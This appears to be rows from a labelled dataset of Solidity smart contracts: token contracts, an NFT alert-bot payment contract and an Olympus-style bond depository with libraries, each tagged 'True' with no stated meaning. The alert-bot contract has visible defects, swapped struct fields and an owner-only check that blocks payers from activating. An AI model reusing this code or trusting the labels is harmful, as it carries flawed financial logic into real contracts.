// Checking that our goal is reachable before issuing expensive storage modifications.
require(availableBalanceOf(owner) >= requiredAmount);
for (uint cellIndex = 0; cellIndex < frozenBalances[owner].length; ++cellIndex) {
if (isSpendableFrozenCell(owner, cellIndex)) {
uint amount = frozenBalances[owner][cellIndex].amount;
frozenBalances[owner][cellIndex].amount = 0;
balances[owner] = balances[owner].add(amount);
}
}
assert(balances[owner] >= requiredAmount);
}
/// @dev to be overridden in tests
function getTime() internal view returns (uint) {
return now;
}
function encodeKYCFlag(bool isKYCRequired) private pure returns (uint128) {
return isKYCRequired ? uint128(1) : uint128(0);
}
function decodeKYCFlag(uint128 isKYCRequired) private pure returns (bool) {
return isKYCRequired != uint128(0);
}
// FIELDS
/// @notice current KYC provider of the token
IKYCProvider public m_KYCProvider;
/// @notice set of sale accounts which can freeze tokens
mapping (address => bool) public m_sales;
/// @notice frozen tokens
mapping (address => FrozenCell[]) public frozenBalances;
/// @notice allows privileged functions (token sale phase)
bool public m_allowPrivileged = true;
// CONSTANTS
string public constant name = 'Hunk Finance';
string public constant symbol = 'HUNK';
uint8 public constant decimals = 0;
}
|
True
|
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] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title NFTAlertBot
* NFTAlertBot - a payment contract for NFTAlert Bot
*/
contract NFTAlertBot {
address public owner;
uint256 public price;
constructor() {
owner = msg.sender;
}
struct Account {
string guild;
string collection;
bool active;
}
modifier onlyOwner() {
require(owner == msg.sender, "Function can only be invoked by owner.");
_;
}
mapping(string => Account) public accounts;
function _setPrice(uint256 _price) public onlyOwner {
price = _price;
}
function _createAccount(string memory _id, string memory _guild, string memory _collection) private onlyOwner {
accounts[_id] = Account(_collection, _guild, true);
}
function _updateAccount(string memory _id, string memory _guild, string memory _collection, bool _active) public onlyOwner {
accounts[_id].collection = _collection;
accounts[_id].guild = _guild;
accounts[_id].active = _active;
}
function getAccount(string memory _id) public view returns (string memory guild, string memory collection, bool active) {
return (accounts[_id].guild, accounts[_id].collection, accounts[_id].active);
}
function activate(string memory _id, string memory _guild, string memory _collection) public payable {
require(price <= msg.value, "Ether value sent is not correct");
_createAccount(_id, _guild, _collection);
}
function withdraw() external onlyOwner {
uint256 balance = address(this).balance;
payable(owner).transfer(balance);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2018-04-12
*/
pragma solidity ^0.4.21;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => uint256) public balances;
uint256 public totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
event Burn(address indexed burner, uint256 value);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract POEToken is StandardToken {
string public constant name = "Pets Of Elon";
string public constant symbol = "POE";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
uint256 public constant RAISED_AMOUNT = 25000000;
function POEToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
|
True
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// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
import "./libraries/Ownable.sol";
import "./libraries/SafeMath.sol";
import "./libraries/FixedPoint.sol";
import "./libraries/ERC20.sol";
interface ITreasury {
function deposit( uint _amount, address _token, uint _profit ) external returns ( bool );
function valueOfToken( address _token, uint _amount ) external view returns ( uint value_ );
}
interface IBondCalculator {
function valuation( address _LP, uint _amount ) external view returns ( uint );
function markdown( address _LP ) external view returns ( uint );
}
interface IStaking {
function stake( uint _amount, address _recipient ) external returns ( bool );
}
interface IStakingHelper {
function stake( uint _amount, address _recipient ) external;
}
contract AxeBondDepository is Ownable {
using FixedPoint for *;
using SafeERC20 for IERC20;
using SafeMath for uint;
/* ======== EVENTS ======== */
event BondCreated( uint deposit, uint indexed payout, uint indexed expires, uint indexed priceInUSD );
event BondRedeemed( address indexed recipient, uint payout, uint remaining );
event BondPriceChanged( uint indexed priceInUSD, uint indexed internalPrice, uint indexed debtRatio );
event ControlVariableAdjustment( uint initialBCV, uint newBCV, uint adjustment, bool addition );
/* ======== STATE VARIABLES ======== */
address public immutable AXE; // token given as payment for bond
address public immutable principle; // token used to create bond
address public immutable treasury; // mints AXE when receives principle
address public immutable DAO; // receives profit share from bond
bool public immutable isLiquidityBond; // LP and Reserve bonds are treated slightly different
address public immutable bondCalculator; // calculates value of LP tokens
address public staking; // to auto-stake payout
address public stakingHelper; // to stake and claim if no staking warmup
bool public useHelper;
Terms public terms; // stores terms for new bonds
Adjust public adjustment; // stores adjustment to BCV data
mapping( address => Bond ) public bondInfo; // stores bond information for depositors
uint public totalDebt; // total value of outstanding bonds; used for pricing
uint public lastDecay; // reference block for debt decay
/* ======== STRUCTS ======== */
// Info for creating new bonds
struct Terms {
uint controlVariable; // scaling variable for price
uint vestingTerm; // in seconds
uint minimumPrice; // vs principle value
uint maxPayout; // in thousandths of a %. i.e. 500 = 0.5%
uint fee; // as % of bond payout, in hundreths. ( 500 = 5% = 0.05 for every 1 paid)
uint maxDebt; // 9 decimal debt ratio, max % total supply created as debt
}
// Info for bond holder
struct Bond {
uint payout; // AXE remaining to be paid
uint vesting; // Blocks left to vest
uint lastTimestamp; // Last interaction
uint pricePaid; // In DAI, for front end viewing
}
// Info for incremental adjustments to control variable
struct Adjust {
bool add; // addition or subtraction
uint rate; // increment
uint target; // BCV when adjustment finished
uint buffer; // minimum length (in seconds) between adjustments
uint lastTimestamp; // block when last adjustment made
}
/* ======== INITIALIZATION ======== */
constructor (
address _AXE,
address _principle,
address _treasury,
address _DAO,
address _bondCalculator
) {
require( _AXE != address(0) );
AXE = _AXE;
require( _principle != address(0) );
principle = _principle;
require( _treasury != address(0) );
treasury = _treasury;
require( _DAO != address(0) );
DAO = _DAO;
// bondCalculator should be address(0) if not LP bond
bondCalculator = _bondCalculator;
isLiquidityBond = ( _bondCalculator != address(0) );
}
/**
* @notice initializes bond parameters
* @param _controlVariable uint
* @param _vestingTerm uint
* @param _minimumPrice uint
* @param _maxPayout uint
* @param _fee uint
* @param _maxDebt uint
* @param _initialDebt uint
*/
function initializeBondTerms(
uint _controlVariable,
uint _vestingTerm,
uint _minimumPrice,
uint _maxPayout,
uint _fee,
uint _maxDebt,
uint _initialDebt
) external onlyOwner() {
require( terms.controlVariable == 0, "Bonds must be initialized from 0" );
terms = Terms ({
controlVariable: _controlVariable,
vestingTerm: _vestingTerm,
minimumPrice: _minimumPrice,
maxPayout: _maxPayout,
fee: _fee,
maxDebt: _maxDebt
});
totalDebt = _initialDebt;
lastDecay = block.timestamp;
}
/* ======== POLICY FUNCTIONS ======== */
enum PARAMETER { VESTING, PAYOUT, FEE, DEBT }
/**
* @notice set parameters for new bonds
* @param _parameter PARAMETER
* @param _input uint
*/
function setBondTerms ( PARAMETER _parameter, uint _input ) external onlyOwner() {
if ( _parameter == PARAMETER.VESTING ) { // 0
require( _input >= 36 * 60 * 60, "Vesting must be longer than 36 hours" );
terms.vestingTerm = _input;
} else if ( _parameter == PARAMETER.PAYOUT ) { // 1
require( _input <= 1000, "Payout cannot be above 1 percent" );
terms.maxPayout = _input;
} else if ( _parameter == PARAMETER.FEE ) { // 2
require( _input <= 10000, "DAO fee cannot exceed payout" );
terms.fee = _input;
} else if ( _parameter == PARAMETER.DEBT ) { // 3
terms.maxDebt = _input;
}
}
/**
* @notice set control variable adjustment
* @param _addition bool
* @param _increment uint
* @param _target uint
* @param _buffer uint
*/
function setAdjustment (
bool _addition,
uint _increment,
uint _target,
uint _buffer
) external onlyOwner() {
require( _increment <= terms.controlVariable.mul( 25 ).div( 1000 ), "Increment too large" );
adjustment = Adjust({
add: _addition,
rate: _increment,
target: _target,
buffer: _buffer,
lastTimestamp: block.timestamp
});
}
/**
* @notice set contract for auto stake
* @param _staking address
* @param _helper bool
*/
function setStaking( address _staking, bool _helper ) external onlyOwner() {
require( _staking != address(0) );
if ( _helper ) {
useHelper = true;
stakingHelper = _staking;
} else {
useHelper = false;
staking = _staking;
}
}
/* ======== USER FUNCTIONS ======== */
/**
* @notice deposit bond
* @param _amount uint
* @param _maxPrice uint
* @param _depositor address
* @return uint
*/
function deposit(
uint _amount,
uint _maxPrice,
address _depositor
) external returns ( uint ) {
require( _depositor != address(0), "Invalid address" );
decayDebt();
require( totalDebt <= terms.maxDebt, "Max capacity reached" );
uint priceInUSD = bondPriceInUSD(); // Stored in bond info
uint nativePrice = _bondPrice();
require( _maxPrice >= nativePrice, "Slippage limit: more than max price" ); // slippage protection
uint value = ITreasury( treasury ).valueOfToken( principle, _amount );
uint payout = payoutFor( value ); // payout to bonder is computed
require( payout >= 10000000, "Bond too small" ); // must be > 0.01 AXE ( underflow protection )
require( payout <= maxPayout(), "Bond too large"); // size protection because there is no slippage
// profits are calculated
uint fee = payout.mul( terms.fee ).div( 10000 );
uint profit = 0;
if(value > payout.add( fee )) {
profit = value.sub( payout ).sub( fee );
} else {
profit = value.sub( payout );
fee = 0;
}
/**
principle is transferred in
approved and
deposited into the treasury, returning (_amount - profit) AXE
*/
IERC20( principle ).safeTransferFrom( msg.sender, address(this), _amount );
IERC20( principle ).approve( address( treasury ), _amount );
ITreasury( treasury ).deposit( _amount, principle, profit );
if ( fee != 0 ) { // fee is transferred to dao
IERC20( AXE ).safeTransfer( DAO, fee );
}
// total debt is increased
totalDebt = totalDebt.add( value );
// depositor info is stored
bondInfo[ _depositor ] = Bond({
payout: bondInfo[ _depositor ].payout.add( payout ),
vesting: terms.vestingTerm,
lastTimestamp: block.timestamp,
pricePaid: priceInUSD
});
// indexed events are emitted
emit BondCreated( _amount, payout, block.timestamp.add( terms.vestingTerm ), priceInUSD );
emit BondPriceChanged( bondPriceInUSD(), _bondPrice(), debtRatio() );
adjust(); // control variable is adjusted
return payout;
}
/**
* @notice redeem bond for user
* @param _recipient address
* @param _stake bool
* @return uint
*/
function redeem( address _recipient, bool _stake ) external returns ( uint ) {
Bond memory info = bondInfo[ _recipient ];
uint percentVested = percentVestedFor( _recipient ); // (blocks since last interaction / vesting term remaining)
if ( percentVested >= 10000 ) { // if fully vested
delete bondInfo[ _recipient ]; // delete user info
emit BondRedeemed( _recipient, info.payout, 0 ); // emit bond data
return stakeOrSend( _recipient, _stake, info.payout ); // pay user everything due
} else { // if unfinished
// calculate payout vested
uint payout = info.payout.mul( percentVested ).div( 10000 );
// store updated deposit info
bondInfo[ _recipient ] = Bond({
payout: info.payout.sub( payout ),
vesting: info.vesting.sub( block.timestamp.sub( info.lastTimestamp ) ),
lastTimestamp: block.timestamp,
pricePaid: info.pricePaid
});
emit BondRedeemed( _recipient, payout, bondInfo[ _recipient ].payout );
return stakeOrSend( _recipient, _stake, payout );
}
}
/* ======== INTERNAL HELPER FUNCTIONS ======== */
/**
* @notice allow user to stake payout automatically
* @param _stake bool
* @param _amount uint
* @return uint
*/
function stakeOrSend( address _recipient, bool _stake, uint _amount ) internal returns ( uint ) {
if ( !_stake ) { // if user does not want to stake
IERC20( AXE ).transfer( _recipient, _amount ); // send payout
} else { // if user wants to stake
if ( useHelper ) { // use if staking warmup is 0
IERC20( AXE ).approve( stakingHelper, _amount );
IStakingHelper( stakingHelper ).stake( _amount, _recipient );
} else {
IERC20( AXE ).approve( staking, _amount );
IStaking( staking ).stake( _amount, _recipient );
}
}
return _amount;
}
/**
* @notice makes incremental adjustment to control variable
*/
function adjust() internal {
uint blockCanAdjust = adjustment.lastTimestamp.add( adjustment.buffer );
if( adjustment.rate != 0 && block.timestamp >= blockCanAdjust ) {
uint initial = terms.controlVariable;
if ( adjustment.add ) {
terms.controlVariable = terms.controlVariable.add( adjustment.rate );
if ( terms.controlVariable >= adjustment.target ) {
adjustment.rate = 0;
}
} else {
terms.controlVariable = terms.controlVariable.sub( adjustment.rate );
if ( terms.controlVariable <= adjustment.target ) {
adjustment.rate = 0;
}
}
adjustment.lastTimestamp = block.timestamp;
emit ControlVariableAdjustment( initial, terms.controlVariable, adjustment.rate, adjustment.add );
}
}
/**
* @notice reduce total debt
*/
function decayDebt() internal {
totalDebt = totalDebt.sub( debtDecay() );
lastDecay = block.timestamp;
}
/* ======== VIEW FUNCTIONS ======== */
/**
* @notice determine maximum bond size
* @return uint
*/
function maxPayout() public view returns ( uint ) {
return IERC20( AXE ).totalSupply().mul( terms.maxPayout ).div( 100000 );
}
/**
* @notice calculate interest due for new bond
* @param _value uint
* @return uint
*/
function payoutFor( uint _value ) public view returns ( uint ) {
return FixedPoint.fraction( _value, bondPrice() ).decode112with18().div( 1e16 );
}
/**
* @notice calculate current bond premium
* @return price_ uint
*/
function bondPrice() public view returns ( uint price_ ) {
price_ = terms.controlVariable.mul( debtRatio() ).add( 1e9 ).div( 1e7 );
if ( price_ < terms.minimumPrice ) {
price_ = terms.minimumPrice;
}
}
/**
* @notice calculate current bond price and remove floor if above
* @return price_ uint
*/
function _bondPrice() internal returns ( uint price_ ) {
price_ = terms.controlVariable.mul( debtRatio() ).add( 1e9 ).div( 1e7 );
if ( price_ < terms.minimumPrice ) {
price_ = terms.minimumPrice;
} else if ( terms.minimumPrice != 0 ) {
terms.minimumPrice = 0;
}
}
/**
* @notice converts bond price to DAI value
* @return price_ uint
*/
function bondPriceInUSD() public view returns ( uint price_ ) {
if( isLiquidityBond ) {
price_ = bondPrice().mul( IBondCalculator( bondCalculator ).markdown( principle ) ).div( 100 );
} else {
price_ = bondPrice().mul( 10 ** IERC20( principle ).decimals() ).div( 100 );
}
}
/**
* @notice calculate current ratio of debt to AXE supply
* @return debtRatio_ uint
*/
function debtRatio() public view returns ( uint debtRatio_ ) {
uint supply = IERC20( AXE ).totalSupply();
debtRatio_ = FixedPoint.fraction(
currentDebt().mul( 1e9 ),
supply
).decode112with18().div( 1e18 );
}
/**
* @notice debt ratio in same terms for reserve or liquidity bonds
* @return uint
*/
function standardizedDebtRatio() external view returns ( uint ) {
if ( isLiquidityBond ) {
return debtRatio().mul( IBondCalculator( bondCalculator ).markdown( principle ) ).div( 1e9 );
} else {
return debtRatio();
}
}
/**
* @notice calculate debt factoring in decay
* @return uint
*/
function currentDebt() public view returns ( uint ) {
return totalDebt.sub( debtDecay() );
}
/**
* @notice amount to decay total debt by
* @return decay_ uint
*/
function debtDecay() public view returns ( uint decay_ ) {
uint secondsSinceLast = block.timestamp.sub( lastDecay );
decay_ = totalDebt.mul( secondsSinceLast ).div( terms.vestingTerm );
if ( decay_ > totalDebt ) {
decay_ = totalDebt;
}
}
/**
* @notice calculate how far into vesting a depositor is
* @param _depositor address
* @return percentVested_ uint
*/
function percentVestedFor( address _depositor ) public view returns ( uint percentVested_ ) {
Bond memory bond = bondInfo[ _depositor ];
uint blocksSinceLast = block.timestamp.sub( bond.lastTimestamp );
uint vesting = bond.vesting;
if ( vesting > 0 ) {
percentVested_ = blocksSinceLast.mul( 10000 ).div( vesting );
} else {
percentVested_ = 0;
}
}
/**
* @notice calculate amount of AXE available for claim by depositor
* @param _depositor address
* @return pendingPayout_ uint
*/
function pendingPayoutFor( address _depositor ) external view returns ( uint pendingPayout_ ) {
uint percentVested = percentVestedFor( _depositor );
uint payout = bondInfo[ _depositor ].payout;
if ( percentVested >= 10000 ) {
pendingPayout_ = payout;
} else {
pendingPayout_ = payout.mul( percentVested ).div( 10000 );
}
}
/* ======= AUXILLIARY ======= */
/**
* @notice allow anyone to send lost tokens (excluding principle or AXE) to the DAO
* @return bool
*/
function recoverLostToken( address _token ) external returns ( bool ) {
require( _token != AXE );
require( _token != principle );
IERC20( _token ).safeTransfer( DAO, IERC20( _token ).balanceOf( address(this) ) );
return true;
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
import "../interfaces/IERC20.sol";
import "./SafeMath.sol";
import "./Counters.sol";
import "./Address.sol";
abstract contract ERC20 is IERC20 {
using SafeMath for uint256;
// TODO comment actual hash value.
bytes32 constant private ERC20TOKEN_ERC1820_INTERFACE_ID = keccak256( "ERC20Token" );
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
constructor (string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view override returns (string memory) {
return _name;
}
function symbol() public view override returns (string memory) {
return _symbol;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account_, uint256 ammount_) internal virtual {
require(account_ != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address( this ), account_, ammount_);
_totalSupply = _totalSupply.add(ammount_);
_balances[account_] = _balances[account_].add(ammount_);
emit Transfer(address( this ), account_, ammount_);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer( address from_, address to_, uint256 amount_ ) internal virtual { }
}
interface IERC2612Permit {
function permit(
address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
function nonces(address owner) external view returns (uint256);
}
abstract contract ERC20Permit is ERC20, IERC2612Permit {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
bytes32 public DOMAIN_SEPARATOR;
constructor() {
uint256 chainID;
assembly {
chainID := chainid()
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name())),
keccak256(bytes("1")), // Version
chainID,
address(this)
)
);
}
function permit(
address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
require(block.timestamp <= deadline, "Permit: expired deadline");
bytes32 hashStruct =
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, _nonces[owner].current(), deadline));
bytes32 _hash = keccak256(abi.encodePacked(uint16(0x1901), DOMAIN_SEPARATOR, hashStruct));
address signer = ecrecover(_hash, v, r, s);
require(signer != address(0) && signer == owner, "ZeroSwapPermit: Invalid signature");
_nonces[owner].increment();
_approve(owner, spender, amount);
}
function nonces(address owner) public view override returns (uint256) {
return _nonces[owner].current();
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
import './FullMath.sol';
import './BitMath.sol';
import './Babylonian.sol';
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = 0x10000000000000000000000000000;
uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000;
uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits)
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a uq112x112 into a uint with 18 decimals of precision
function decode112with18(uq112x112 memory self) internal pure returns (uint) {
return uint(self._x) / 5192296858534827;
}
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, 'FixedPoint::fraction: division by zero');
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
} else {
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
}
}
// square root of a UQ112x112
// lossy between 0/1 and 40 bits
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
if (self._x <= uint144(-1)) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112)));
}
uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x);
safeShiftBits -= safeShiftBits % 2;
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2)));
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
interface IOwnable {
function owner() external view returns (address);
function renounceManagement() external;
function pushManagement( address newOwner_ ) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed( address(0), _owner );
}
function owner() public view override returns (address) {
return _owner;
}
modifier onlyOwner() {
require( _owner == msg.sender, "Ownable: caller is not the owner" );
_;
}
function renounceManagement() public virtual override onlyOwner() {
emit OwnershipPushed( _owner, address(0) );
_owner = address(0);
}
function pushManagement( address newOwner_ ) public virtual override onlyOwner() {
require( newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed( _owner, newOwner_ );
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require( msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled( _owner, _newOwner );
_owner = _newOwner;
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library Babylonian {
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library BitMath {
function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {
require(x > 0, 'BitMath::mostSignificantBit: zero');
if (x >= 0x100000000000000000000000000000000) {
x >>= 128;
r += 128;
}
if (x >= 0x10000000000000000) {
x >>= 64;
r += 64;
}
if (x >= 0x100000000) {
x >>= 32;
r += 32;
}
if (x >= 0x10000) {
